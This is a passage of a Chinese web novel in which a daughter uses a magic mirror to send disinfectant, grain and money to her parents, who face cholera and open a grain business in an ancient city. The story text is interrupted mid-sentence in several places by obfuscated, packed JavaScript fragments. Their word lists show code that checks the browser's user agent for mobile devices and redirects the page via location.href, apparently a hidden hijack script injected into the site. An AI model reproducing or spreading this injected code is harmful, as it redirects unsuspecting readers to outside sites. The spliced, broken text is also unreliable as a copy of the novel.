袁淼吓得不轻,瘟疫可不是闹玩儿的,那玩意不管是谁,有钱没钱,一视同仁。唯一能堵住的就是做好防范。 “好!妈,你说,需要哪些东西?我明天就去买!” 谢云溪列举了包括酒精在内的多种消毒用品,还有抗菌素,以及大量的补液盐。当时匆匆一眼,她看到了大量的呕吐物和排泄物以及漫天飞舞的苍蝇,如果没有料错,多半是肠道传染病,很有可能就是霍乱。 这是一种历史上记载了多次的烈性传染病,传染性极强,杀伤力巨大,在现代偶尔也有发生,不过好在现代防范得当,并没有引起大面积传播。 这种病并无特效治疗,即便是现代也只是强调做好防范,进行针对性治疗,补液、抗菌消炎,做好消毒隔离,再有就是要注意饮食卫生。苍蝇就是这种病的传播宿主。 袁淼记下来了。 谢云溪想了一会,又说:“还有有效氯!粉状的和液体的都可以,泡腾片也行!” 防范水源污染很重要,这里的人用水可不讲究消毒,水沟水潭,只要看起来还干净,他们就敢直接喝。沔州那边的水至今未退,河道到现在还处于高位,牵连之下,四通八达的水源只怕是都不能喝了。 “要多少?”袁淼问。 “很多!” 袁淼呆了呆。 谢云溪说:“这里的水恐怕都不能喝了,必须要消毒。”她做不了别的,所到之处,往水源里加点有效氯倒是可以做到。 一路上过来,这是他们第一次发现瘟疫,应该还没有大面积传播开来,这样做应该能有些作用,起不到完全阻断,但能起到一部分作用也是好的。 袁淼想到了过滤器过滤壶:“要不要过滤壶?” 谢云溪听袁淼形容过后点头:“要。” 袁淼用纸笔记了下来,末了又跟谢云溪核对一番。这天晚上她就在网上订了一批消毒用品,但最早也要两三天才能到货。 第二天上班,袁淼又被方文娜批了一通。她像是吃了火药桶,看见袁淼就炸了。导致旁边办公位上吴芷兰悄悄问:“你是不是惹到她了?” “没有啊。”袁淼也想不明白。她心里有事,没精力在这方面过多纠结。下了班就去跑药店。回家的时候,车后备箱都塞满了东西。 一一搬上了楼。敲开镜子后,看到袁博文和谢云溪。袁淼把东西传了过去。袁博文和谢云溪忙着收捡。 袁淼说:“我在网上还订了一批消毒用品,要明后天才能到。” “好,这些应该能起些作用。”袁博文说,他打算一会就跟袁归分头行动,往附近河道和水井里倒点有效氯。 “淼淼,你怎么这么晚才回来?吃饭了吗?”谢云溪注意到女儿脸上的疲惫了。 “还没有,一会就吃。”袁淼笑着说。 夫妻俩都心疼了,看得见摸不着也揪心。 “你们上班很忙吗?” “还好!”袁淼故作轻松说,“我们公司的待遇不错,我现在一个月差不多有两万了。” 所以,忙点也能接受。 谢云溪却觉得不好,再高的收入,忙得也连饭都吃不上有什么意思? 袁博文想了想,说:“要不,你把工作辞了吧?” “啊?”袁淼吃了一惊。 袁博文边想边说:“我们这边的物价跟你那边有很大出入……等爸爸妈妈到晋州之后,我们开个店,你负责传东西过来,由我们来卖,这样的话,收益应该不错。” 开店赚到的钱换成金子给女儿,女儿再拿去兑换!这比上班强多了! 谢云溪觉得可行!别的不说,光粮价两边就是一个天上一个地下了。 夫妻俩人眼睛发亮,都觉得这个主意很好,这样的话,他们不用每天等到很晚了才能见到女儿。 职场可不是那么好混的,无父无母无依靠,人人都能来踩一脚。还长得这么好,一不小就能招来麻烦。 粮食在现代到处都有,不需要费很大的精力就能轻松买到。女儿只管收,只管传,比困在公司上班不知道轻松了多少倍,闲下来的时间她可以养养花种种草,跳跳舞之类,或者找个人品端正的年轻人谈谈恋爱。 物资生活富裕,精神世界充足,这才是他们想给女儿的生活。 袁淼有点懵,瀚海设计公司的工作是她过三关斩六将才拿到的,薪资待遇在圈内众所周知的高,就这么辞掉吗? 她有点舍不得。 “辞掉吧!你爸说的对,等我们到了晋州开个粮行,你负责传粮食给我们,这样比你上班强多了。” 设计公司太辛苦了,不适合女儿。 袁淼还在犹豫,转了话题问起了父母那边的情况。 这天袁庄两家小心翼翼,目前还算安稳。 时间不早了,怕耽误女儿休息,夫妻俩没再多说了。断开联系后,俩人把东西清点了一番,叫来了袁归和商远。 “这是夫人配的防疫药水,一会你们俩抬到今天经过泗水河边,把这些全倒进河里,不要让其他人看见。” 袁归和商远应下了。这天大伙纷纷在说发现疫病的事情,都觉得大事不妙,一路上过来小心翼翼。商远对昨天晚上谢云溪的举动原本有些介意,知道了实情后庆幸不已。 这时节染病绝对死路一条。这玩意传起来快得很,他们现在希望尽快赶到晋州去。 两人各提了一大桶消毒水往河边去。商远忍不住问:“你们夫人在哪儿配的这玩意儿?有用吗?” 袁归呵呵笑着:“当然有用!你可别小瞧了我们夫人,她虽然是一介女流,医术上可不含糊,我亲眼见过她把一个断气的人都给按活好了。” “这么厉害?” “我骗你干什么?前几天我们遇到了打劫,庄老爷被人一剑刺中,也是我们夫人给治好的。” 这事商远不止听一个人说过。袁夫人的手段确实了得,寻常人受了这么重的伤,不躺个十天半月绝对起不来,一个不小心就能一命呜呼。看现在庄老爷的样子,除了不能下来以外,精气神十足,要不了多久就能全好。 两人说着话到和河边,盖子一开,商远忍不住掩住了鼻子:“这是什么味儿?” 袁归也觉得味道奇怪,但他一向尊崇袁家夫妻,他们说什么,他就做什么,当下也没理会气味刺鼻,提起桶就往河里倒。 商远见袁归都做了,自己也照做。边倒边问:“这桶好生轻便,你们在哪儿买的?” 袁归笑着说:“商师傅,你们威武镖局一共有多少趟子手?” “加上我师兄,一共二十二人。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13900962|147249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 商远就这么被转移了注意力。 袁归和商远走后,袁博文清理了一部分东西出来,准备拿给庄炜。两家结伴而行,庄家要是有人传染上疫病了,他们这边也会受到影响。不过,他们担心庄家的人起疑,给的有效氯是粉剂。袁博文亲自送过去。 见到了庄炜,袁博文就把袋装的有效氯粉剂递过去:“这是云溪配的药粉,有防疫的作用,你让下人放进每天使用的水中,可以用来洗漱,也可以用来食用,不过,用来食用的水即便是消毒后,也一定要烧开。” 庄炜高兴收下:“哎呀,幸亏跟你们同行,否则的话,我们一定走不到这里。” 袁博文笑了笑,他当初找庄家同行也存了私心,庄家人多马壮,光看阵势就能吓退一些有不轨之心的宵小。 “还有两天就能到晋州了,你的伤怎样了?” “好多了。”庄炜回答,抬眼看了一下袁博文,犹豫再三,还是开口了,“子虚,你家的预备能撑到晋州吗?” “勉强吧。”袁博文回答。实际上他们有女儿依靠,多少天都没问题。 庄炜又犹豫了。 “怎么了?”袁博文问。 庄炜叹了口气:“实不相瞒,我家的存粮已经消耗殆尽了……” 今天晚上再买不到粮食,他们都得去剥树皮了,沿途过来,他看得仔细,树皮都没有多少了。 “子虚,能不能把你家的存粮匀一点给我……我不要多,只要老人和孩子有口吃的就行!只要他们能撑到晋州就行!多少钱都可以,你只管开价!” 袁博文看着拉着自己袖子的手,心里想笑,但又心酸,连庄家都到了这个地步,其他人家可想而知有多艰难,要不是能跟女儿联系上,他们现在估计也到了山穷水尽的地步。 袁博文犹豫了一会,问:“你要多少?” 即便是有,也不能让人惦记上。世道艰难,谁知道会发生什么。 庄炜大喜,估计了老母亲和儿子的量,又想到夫人周氏,这些年来相扶相持,不能叫她挨饿受冻。但如果要多了,只怕袁家给不起。他们也只是能勉强撑到晋州而已。 “这样吧,我明天让人给你送过来。”袁博文主动说。 存粮他们手上不多,形势不好,多了说不定是祸事,所以每两三天就让女儿传一次。 庄炜连忙点头,袁博文主动开口,免去了他开口的尴尬。但袁博文离开后,他又担心要是明天只有很少量怎么办? 其他人也要活下去。 袁博文回去后就把庄炜借粮的事情告诉了谢云溪。谢云溪说:“他们的存粮应该是被抢了。” 袁博文点头。 夫妻俩又把存粮看了看,刚好够自家两天的量。 “留一顿吧,明天早上让淼淼再传粮食过来。” 除了粟米,他们还分了点菜给庄家,大米则没敢给。分好后,两人歇下。谢云溪突然说:“博文,要不我们让淼淼多传点粟米过来吧。” 这晚提议的开店给了她一点灵光,眼下饿殍遍野,有钱都买不到一口吃的。但他们明明有办法弄到粮食。如果能悄无声息的把这里的人普遍食用的粟米分发下去,一定能救不少人。 当然不能白送。升米恩斗米仇。悄悄卖出去,不被人发现很关键。 18. 第 18 章 谢云溪把自己的想法告诉了袁博文。 袁博文也是眼睛一亮:“好,卖粮的事就让袁归去办,他知道哪些人有路子,咱们把粮食给他们就行,具体怎么卖让他们去定。” 不露面危险就会小很多,当然得事先说明,不得随意哄抬价格,否则的话,下次就不供给了。 “明天什么时候跟淼淼说?她们上班也是八点吗?”谢云溪问。 “应该是吧。” 谢云溪叹了口气,看不见的时候天天想,现在能看见了,也不得安心。 夜已深沉,万簌俱寂,不远处篝火映照。谢云溪又想起从前。 “你还记得当初天天等淼淼上学放学的那个孩子吗?” “嗯。”袁博文含糊应了一声。 “你说他们要是成了,现在会是什么样子?” 袁博文摇头:“我不看好。” 谢云溪笑了,“那么小,你就说人家心机重,是个为了达到目的不折手段的人,你到底从哪些方面看出来的?我觉得挺懂事的,家里又知根知底。” 她这么说倒不是赞同早恋,实际上那时候她比袁博文还排斥这件的事情。女儿刚刚升到重点高中,成绩又好,她不想她受到影响。现在之所以提及,还是觉得女儿一个人太孤单了。 “有一件事情,我一直没有跟你们说,那小子应该早就看上淼淼了,他们第一次认识的那次事故不是偶尔,而是他有意制造。” “不可能吧?”谢云溪很惊讶。 “我当时也不相信,但看自行车棚的老吴跟我说,那小子几个星期前就经常在我们学校门口打转,还打听淼淼班级的情况,什么时候放学上学,我什么时候有课。”袁博文边说边摇头。 谢云溪却笑了,这说明人家对女儿用心。青春时期的美好在老父亲眼里成了居心不良。 “他那时候才多大?还在上高三。为了有机会认识淼淼,费了这么多心思,甚至不惜自己受伤……幸亏伤的不重,也幸亏那天学校门口的学生不多。为达目的,不顾一切,这样的人太执拗了,以后很容易走极端。” 谢云溪不知道说什么才好,男人想的和女人想的不一样。她觉得要是换了她年轻的时候遇到了这样的事,一定会很感动。不过,现在看来,是有点冲动了。她也明白了,为什么丈夫那时候会坚决反对,严防死守。 她还记得那孩子姓徐,长得高瘦帅气,父母都在医院旁边的化工厂上班。费了那么多心思,也不知道他们离开后那孩子有没有再找女儿。应该没有吧,女儿现在还是一个人呢。 青春时期的感情,再热烈也都如昙花一现,来得快,去得也快。 * 袁淼这天晚上也没睡好,第二天起了大早,把底稿完成了,洗漱的时候听到了镜子的动静,她连忙过来,惊讶看着镜子里的父母。 “爸,妈,你们……没事吧?” 谢云溪笑着说:“没事,我们都挺好。昨天晚上庄家找我们借了点粮食,现在我们的存粮就够今天早上一顿了,你能不能今天上午跑一趟超市?” 袁淼连忙点头。 谢云溪又说:“这次不要大米,买粟米,多买点,我和你爸昨晚商量过了,我们打算往外面卖点粮食。” “这样会不会有麻烦?” “放心吧,我们会小心。” 跟父母说完话,袁淼就下楼了。可惜小区旁边的超市还没开门,她只得先去上班,中午下班后买到了粟米和菜,赶回家把东西传了过去。 袁博文打开袋子仔细看。 袁淼问:“怎么样?够不够?不够,我再去买。” 谢云溪说:“够了!”一次传太多,他们也没地方放,现在这辆马车几乎没让除他们夫妻之外的其他人上来过。 袁淼放心了,看了看时间。 谢云溪问:“淼淼,你要赶着上班吗?” 袁淼点头。 谢云溪又劝:“辞职吧,听爸爸妈妈的话!” 袁淼没吭声,昨天晚上她想了很久,有点心动。瀚海设计公司的薪资虽然很高,但父母那边的形势不好,要是有突发事件发生,想要找她,却找不到就麻烦了。但要辞职,也得把这个月过完,一个月的薪资加半年的绩效可不是一笔小钱。 “你中午吃饭了吗?” “吃了。”袁淼回答。 谢云溪却看出她在说谎。都是混过职场的,中午那点时间,又要买东西,又要赶回来,哪里还顾得上吃饭? “你要注意身体,作息要规律!” 袁淼笑着答应了,饭还没吃,上班的时间也要到了,她没再多说,匆匆几句话后就离开了。 袁博文把粟米分了点出来,交给念荟让她赶紧张罗吃喝。回到马车上,跟谢云溪一道把包装完好的袋装粟米拆开倒进这里常用的麻袋里。 谢云溪一边忙,一边说话:“淼淼中午肯定没吃饭!” 妻子和女儿说话的时候袁博文也听到了,他也心疼:“还是让她辞职吧,以后买了房子,让她请个保姆做饭。” 谢云溪点头,他们离开的时候女儿还不会煮面条,这些年也不知道怎么过来的。现在婆婆又不在了,没个人盯着,女儿的作息能规律就奇怪了。 作息不规律,身体能好吗?现在年轻或许没感觉,等年纪上来了想规律都晚了。 分装好了粮食,袁博文就把袁归叫了过来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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袁归心里可惜,五十文一升粟米能挣多少钱?但转念想,反正是吃不完,到了晋州,许是一二十文钱都没人要了。他心里又高兴起来,囫囵喝了一碗粥后,赶紧去办事了。 袁博文直到不见人影了才转身上马车。 谢云溪算了算账:“何掌柜这一趟,我们大概能挣四两银子。” 袁博文笑了笑,挣钱倒是小事,能安然把粮食散出去才最要紧。剩下的还有一半多。女儿这次传过来的粟米能让他们挣到八、九两银子,换算起来也有两三万元钱。她那边的成本大概也就一两千元。 怎么算,都是大赚。 19. 第 19 章 远远看见晋州城墙,袁博文心里激动,勒转了马头,告诉了谢云溪这个消息,谢云溪将车帘掀了一角眺望,脸上也露出了笑容。 颠簸了大半个月,总算看到了希望。 人流蜿蜒盘曲,直到傍晚时分,两家的车队才到城门口。城门两边数名官兵把守,但凡进城,需得盘查过后才行。庄家的车队在前,正查问时,旁边有个管事模样的中年男子跑过来,神色激动,在庄炜的马车下喊:“是舅老爷吗?可算等到你们了!太太三天前就让小人在这里等候了。” 庄炜见了来人也激动万分,原来是他妹夫家来接人了。道了几句衷肠后,管事的便去找守城的官兵说话。他家老爷在军中任职,打了声招呼,庄家的车马被放行了。 庄炜叫了声且慢,指着袁家的两辆马车说:“那也是我们一起的。” 进了城,庄炜过来邀请:“子虚,我妹夫一家就住在乌衣巷,要不,你们同我们一道吧?” 袁博文婉拒了,他与人家素未谋面,哪好冒然打扰。与庄炜分别后,袁博文等人来到了客栈,跟商远结清聘金,住进了客栈。收拾妥当了,谢云溪才拿出镜子。 袁淼早就等在镜子跟前了,一见到人就问:“你们进城了吗?” “进了。”谢云溪说,“现在在客栈里。” 袁淼心里悬起的石头落地了:“晋州怎么样?大不大?人口多吗?” 谢云溪说:“还行吧。” 实际上他们进城的时候天色已晚,只觉得街道没有沔州宽敞,也不如沔州繁华,但人却不多,到处都能见到乞讨的人。 袁淼拿过早就放到一边的匣子:“我把东西给你们。” “先别着急。”谢云溪叫住了她,“等明天我们看看情况了再说。” “那你们手上还有钱吗?” 谢云溪笑了:“还有,你不用担心。”原本他们手上就留了些散银,这两天卖粟米又挣了二三十两,应对眼下应该没问题。 “爸爸呢?” “他在楼下跟人说话。” 袁博文在打听消息,进城的时候就听说皖州那边情况不好,北凉大队人马集结,看样子不像是跟往年一样抢了就跑的架势,竟像是要大举进攻了。位于北地腹地的小城晋州也风声鹤唳,不敢随便放人进城了。 袁淼又问起客栈的环境。 “都挺好的,你早点睡。” 母女俩说完话后,没过多久,袁博文上来了。 “跟淼淼说了吗?” “说了,她现在应该睡了。怎么样?”谢云溪问。 袁博文摇了摇头,情况不妙,北凉大军集结,确实要大举南下了,领兵的大将正是他们的左贤王萧南召,这人是北凉王朝中有名的好战派,素有谋略,战功赫赫。 谢云溪也犯愁了,打战在哪儿都不是好事,平民百姓最遭殃了。 “那怎么办?要不我们到南边去?” 才住下来,又要跑,想想都叫人头疼。 “先看看情况吧。”袁博文说。 郴州也不弱,守将夏仲渊镇守北地多年,声名显赫,而且郴州易守难攻,说不定能挡住北凉的铁骑。 只能先这样了。谢云溪又问:“我们是先租房,还是干脆在这里买套房子?” 袁博文想了想:“买吧。你不是想开家粮行吗?那就从晋州开始。” 说定后,两人歇下了。第二天袁博文便带着袁归去找中人,才说个意思,那中人便叫苦连天。眼下晋州城内人满为患,已经没有空房可租。倒是有卖,只是不尽如人意。 袁博文跟着中人看了几处,都不甚满意。他们夫妻商量过了,既然打算在晋州开店,那房子自然不能买小,二进的最合适,可以住人,也能放些东西。 中人劝他尽早做决定,房子如今紧俏得很,即便是有这样或那么的不好,说不定明天就没了。 袁博文心里犹豫,回客栈把结果告诉谢云溪。谢云溪一时也不知道怎么办,买房的银钱可不是一笔小数,用出去就不能后悔了。 “我也看了几家粮行。现如今晋州的粮价也不便宜,粟米五十二文一升,黍米四十文一升,大米八十文一升!” “这么贵!” 袁博文点头:“这个价全城还只有两三家米粮店在卖!其他的都关门了。而且在卖的这几家每天限量!听说想要买到,还得大清早去排队。” 他现在对开米粮店信心十足,没想到进了城,粮食还是这么紧张。 谢云溪也很意外。原以为晋州有粮,却不想竟比他们在城外卖的还要贵。如此看来,这粮行要尽快开起来。 一是为挣钱,二是为缓解眼下压力。所谓的限量卖粮其实就是一种饥饿营销,越是这样,百姓越会觉得粮价还要涨。 俩人正说着话,有人上门递帖了,问清楚后,才知道是庄炜的妹夫,现任晋州府守备关正有请他们夫妻赴宴。 关家的人离开后,谢云溪拿着帖子问:“守备是多大的官?” 她对这里的文官系统有所了解,毕竟袁博文中了个举人,说不好以后会在官场打滚,武官则不懂,以前鲜少接触。 袁博文笑着说:“正五品,算是晋州这地界最大的武将了。”他也没想到庄炜的妹夫官职不小。 既然要赴宴,少不得要收拾一番。 袁家的马车到了乌衣巷关府门口,便有婆子过来请人,谢云溪跟着她进到后院,远远就看见庄老夫人和儿媳周氏站在垂花门门口张望。 一见到人,庄老夫人便拉住谢云溪的手,对旁边一位三十来岁的的妇人说:“这是袁夫人,这次要不是有他们夫妇帮忙,我们一定到不了晋州!” 转头又对谢云溪说:“她就是我跟你提过的,我膝下最小的那个。” 谢云溪早就知道了庄炜妹妹的名讳,单名一个静字。 庄静声音爽朗:“大恩不言谢,袁夫人以后有事尽管吩咐!” 谢云溪不禁笑了。 庄老夫人呸了一口:“哪有你这样说话的?”转头对谢云溪笑道:“我这女儿跟她夫婿一样,是个粗人,你别见外。” 谢云溪倒是喜欢庄静这样的个性。 相携了进去。庄静问谢云溪:“袁夫人不是北地人吧?家乡哪里的?” “西宁。” 南边的城市,谢云溪对西宁最熟悉,他们在那边住了好几年。那里风土人情跟华中地区差不多。 “我瞧着你就跟北地女子不一样。以后是不是打算就在北地定居了?” 谢云溪并没有这么想,没见到女儿之前,他们没有打算在北地多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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袁博文又笑了。沔州的水要退去,至少要好几个月后,这几个月他多半要待在晋州。左右没事,见识见识也好,眼下形势不好,在军中无疑能得到更快更正确的消息。 “他怎么会突然推荐你在他麾下做事?你们不是第一次见面吗?” “是庄炜跟他说我身手不错,会行兵之道,又是举人,文武双全,有勇有谋,是个人才,不能浪费。” 谢云溪也跟着笑起来,这叫什么事?教数学的老师去教人打战?这庄炜真是个妙人,他们小半袋粟米就换到了这么个又闲又能捞油水的好位置。 “你可不能瞎教,别害了人家。” 袁博文振奋起来:“是不能害人,今天晚上跟淼淼说,让她找几本书给我看看。” 回到客栈,时间也不早了。谢云溪把袁博文即将在军中任职的消息告诉了袁淼。 袁淼吃惊看着袁博文,竖了个大拇指,鼓励说:“爸爸,你没有问题的!” 袁博文说:“你少拍我马屁,给你找件事做,帮我找几本书吧。” 袁淼二话没说答应了,记下了书名,又在网上查了相关信息。第二天就跑了几家书店,买到了书,传给了父母。 20. 第 20 章 次日,袁博文和谢云溪便去看房子。确实如庄静所说,乌衣巷这边虽是个一进的院子,面积却不小,左右厢房加正房共有十二间屋,院子里还种了颗石榴树,正当成熟季节,红彤彤挂满了枝头,煞是喜人。 谢云溪一眼就相中了,问了价钱,需要二百二十两银子。 比中人带过去看的房子贵,但优点也多。当下夫妻俩人便拍板定下,只等交清房款立下文书便算是成功。 后续这些事情自然不需要袁博文和谢云溪跑腿,由关府派过来的小子领路,袁归跟着去办就行。 夫妻俩晚上把这边的事情告诉了女儿。 袁淼连忙把藏起来的匣子拿过来。 谢云溪说:“你把银票给我们就行了,其他的还是放你那边。” 袁淼把一万多两银票全部传了过去,又问:“首饰呢?” “那些不用,就放你那边。”谢云溪说,她手头还有几件常用的首饰,眼下还住在客栈里,简单些才更好办事。 “爸爸的事定下来了吗?” 袁博文笑着说:“定下来了。” 袁淼也觉得有意思,数学老师当教头,这跨越有点大。 “那爸爸要好好看书,看完了跟我说,我再给你找。” 一旁的谢云溪也笑起来了,打趣叮嘱袁博文:“听到了没有?” 袁博文煞有其事点头。谢云溪又问:“淼淼,你工作辞了吗?” 袁淼讪讪说:“过几天就辞。”拿到了这个月工资就辞。 “我和你爸今天在城里转了半天,已经看中了一个铺面,全部手续办好也就只要三四天的时间。办好后,我们的店就要开张了,货源这头可就要全指望你了。” 天天上班,哪有时间跑货源?这是给袁淼施压。 “以前你从超市里买的那些在这边卖很容易出纰漏,太精细了。而且,北地这边的主食以粟米为主,但是现在形势不好,销量最好的还是米糠——并不是现代特意制作的那种米糠,而是混杂了壳屑的粟米黍米,这一种你恐怕在超市找不到,需要到农村和大市场去找,我记得在农村,很多家庭都是用这种米糠来喂鸡喂鸭。” 听谢云溪这么说,袁淼也有了紧迫感,她确实对这些不精通,以前都是直接在超市整袋购买。仔细想想,古代的科技不发达,碾米之类不是机器操作,确实做不到很精细。先前给父母的,下锅之前他们肯定遮掩了一番。但如果要开店,所需要就不是一袋两袋了,而是很多,量大无法操作。完全的成品才最合适。 而且,她需要了解市场,还要有个能存放能储备的仓库。 当天晚上,袁淼就在网上了解了下目前粮食的情况,粟米黍米之类的有售,也可以较大量供应,并且个别商家还表示,他们有粗加工的,也就是混杂了壳屑的那种,但得量大,他们才会提供售卖。 袁淼让商家发了份样品。第二天下班又跑了几个大市场,各种米粮都有售,而且价钱比超市便宜多了。 * 房子的手续很快就办好了,谢云溪领着人打扫整理了一番,又上了街——偌大房子要住人,总不好空空荡荡。袁博文如今虽挂了个闲职,但大小是个官,如果有同僚或朋友上门,太简陋了不好。 她买了些花卉盆栽,又去看文房四宝,店家拿了幅画卷向她推荐,说是前朝大家莫有声的大作,如何如何好。 谢云溪是看不出好在哪儿,她一个医生,看病还凑合,鉴赏艺术品完全不行。但袁博文是个举人,书房里总要有点东西装装门面,她买了画书纸墨。眼睛一亮,又看上旁边半人高的瓷瓶。这是供插放画卷所用,这里叫画缸。 谢云溪眼睛发亮,是她想到一件事情——瓷器可是好东西!什么汝窑元青花之类的在现代那可是收藏家们的最爱!这里类似唐宋时期,瓷器的制作也很成熟了,富贵人家里也都喜欢摆放应景。 她在沔州那边的房子里也有几件,听说是出自四大名窑。她是不懂好坏,买回来就图个好看和应景,混迹读书人的圈子,要有差不多的爱好才更好的融入。 店家见谢云溪盯着画缸看,马上向她推荐:“这件画缸出自汝州席家的窑坑,您看这胎质和釉色,细腻且色正,这可是件难得的上品。” 谢云溪问了价。店家喜得眼睛都眯成了细缝,比划了个手势:“八十两。” 谢云溪摇头,读书人的东西都贵,这玩意要换成其他阶层人的使用,价格立马会下降至少一半。她起的这个念头又不是非要画缸,吃饭的碗也可以。传过去让女儿在那边找个专家鉴定,到底跟那些价值不菲的瓷器有没有区别?能不能卖钱?卖多少钱? 店家追着谢云溪:“夫人想出多少钱?” “五十两。”谢云溪随口说。 店家愣了愣,居然点头了,说是谢云溪这次买的多,这画缸算是半卖半送给她,希望她日后多多光临。 谢云溪心里诧异,明白是自己喊低了,便又让店家把旁边的同色的笔洗送给她,算是个添头。店家一脸肉疼,还是同意了。 谢云溪心里也满足了。这两件同色瓷器一看就知道出自同一个窑坑,汝州席家是有名的制瓷器世家,汝州瓷器名列四大窑坑之首。这两件瓷器即便是不能卖钱,平常使用也不错。 东西不少,店家主动表示送货上门,谢云溪留了地址,又去看其他。 到家的时候,袁博文已经回来了。谢云溪问:“你们下班这么早吗?” 袁博文不禁笑起来,过来帮忙拿东西。他是刚到职,也就是走个过场,认一认人,熟悉一下环境,差不多便回来了。上司想必被关正打过招呼了,还知道他新买了院子,很痛快便让他走了。 “怎么买这么多东西?下次我跟你一起去。” “还有呢,一会就送到了。”谢云溪说。放下的东西便去洗手,“我听说城门要关了,有这事吗?” 袁博文点头,神情也严肃起来:“今天酉时就关,郴州那边出现瘟疫了。” 谢云溪不禁愣住:“还是传开了。” 其实她心里早就有底,先前所做不过是杯水车薪,绝对阻止不了瘟疫的扩散,但到底存了侥幸。后面一路过来,并没有再见到。晋州城内虽人满为患,但依旧井井有条,她就觉得有可能是自己误判了。毕竟只是见过一例,而且也只有一眼。 “情况严重吗?” “郴州城内城外都有发现,城外的形势很严重,已经在大片死人了。城内的只有零散发现,郡守已经下令备药。” 谢云溪不知道说什么才好,如果他们现在在郴州,说不定也逃不过这一劫,身处数量庞大的流民群中,防范的再好,也难以独善其身。 “不过晋州内还没有发现,城内几家医馆的主事今天都被叫去商讨办法了。” 当了官就是不一样,许多消息都能比普通人先一步知道。 谢云溪说:“今天让淼淼再传点消毒物品过来。” 有备无患,环绕晋州的泗水河里也可以倒一些有效氯。虽然泗水河是活水,倒进去再多也会流走,但有效氯不管浓度高低都有杀菌的作用。 城门关了,出不去,他们所能做的也只有这些。 “好。” 正说着话,卖的东西送到了。谢云溪打起精神,让袁博文过来一起看:“你看看,这是我买的画缸和笔洗。” 袁博文过手看了看,觉得还不错。 谢云溪笑着说:“我这次买的可不是给你用的。” “我打算传给淼淼,让她找个专家看看,跟唐宋时期的瓷器有没有区别,有没有收藏的价值?能不能卖?” 袁博文不禁笑了,虽然心里觉得不大可能,但试一试又没损失。这类的东西在这边随处可见,也就是富贵人家的更精致些罢了。如果真有收藏的价值,那无疑又多了一条财路。 * 这天晚上,袁淼就把收到了粗加工粟米传给父母。袁博文和谢云溪看过后,都觉得跟眼下热销的米糠差不多。 袁淼说:“这种网上售价3元2一斤,上次传给你们的粟米,网上的售价比超市便宜,4元2角一斤,还有黍米,产地不一样的,价格也不一样,差不多2元左右一斤。” 谢云溪粗略算了算,一斤粟米差不多能挣到三四十元了,米糠二三十元,利润实在惊人。她看向袁博文:“我们第一次进多少?” 粮行铺面的文书已经拿到了,就等整理后上货了。 “黍米和粟米各二千斤吧,米糠五千斤,豆和稻米先只买一千斤。” 袁淼记下来了。 谢云溪又说:“淼淼,你请人跟你一起。” 上千斤的粮食可是体力活。 袁淼笑着说:“不用了,我在线上买,商家会送货上门。” 就是东西有点多,隔壁房间加客厅不知道放不放的下。 “还是请人吧,你租个仓库,让他们把货送到仓库。”袁博文说。那么多东西,虽然是送货上门,但也免不得要搬来搬去,女儿哪有那个力气? 袁淼想想也是。答应了。 “我们不着急。你先租仓库。”铺面整理好后,还要招人手,一时半会开不了门。 谢云溪又问:“上次的那两件玉器是不是要拍卖了?” “是的,我今天就收到了拍卖行的请帖,就在这个周末。”袁淼把请帖拿给父母看。 谢云溪让袁博文把今天买的两件瓷器拿过来:“淼淼,这是妈妈今天买的瓷器,这件叫画缸,这件是笔洗,你找个专家鉴定一下,看能不能卖?” 袁淼惊讶看着父母。 袁博文说:“你话别说多,先问问他们真假,如果能卖,再告诉他们,是家里的长辈收藏了多年的。” 如果不能卖,再让女儿传过来自己用。 袁淼拿到两件瓷器后看了好久,除了觉得好薄以外,没看出其他名堂。那件笔洗并不薄,小小的一个,入手的手感倒是很细腻。 这也能卖钱? 她很怀疑。 “你现在手上还有多少钱?” 袁淼看了看银行账户,她现在还有四百多万。原本打算去看看房子,但一直没有时间。不过,这个月的工资已经到账了,她请了半个月的假,工资扣得差不多了,半年的绩效还有点。明天就可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13900965|147249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 递辞职申请了。 女儿手上还有钱,袁博文和谢云溪都安心了。又让她再买点消毒用品过来。 “你们不是进城了吗?晋州城里也出现了疫情了?”袁淼不由得紧张起来。 “不是,是郴州那边。”谢云溪把听到的消息告诉袁淼,“晋州这边怕疫情传过来,从今天起就要关闭城门了。” 那各种物资肯定都要疯涨了。袁淼又问:“是不是还是有效氯?除了有效氯,其他的要不要?药品呢?” “暂时不用。” 上次女儿传过来的药物就没动,晋州城的郎中们肯定已经得到了消息,严阵以待,中医对付瘟疫有其独到之处,再不济到时候再让女儿传药。霍乱本质上就是感染导致呕吐腹泻,水电解质失衡或大量丢失而死亡。 跟父母说完后,袁淼就在线上订了一批有效氯。粮食要先租仓库,否则没地方放。 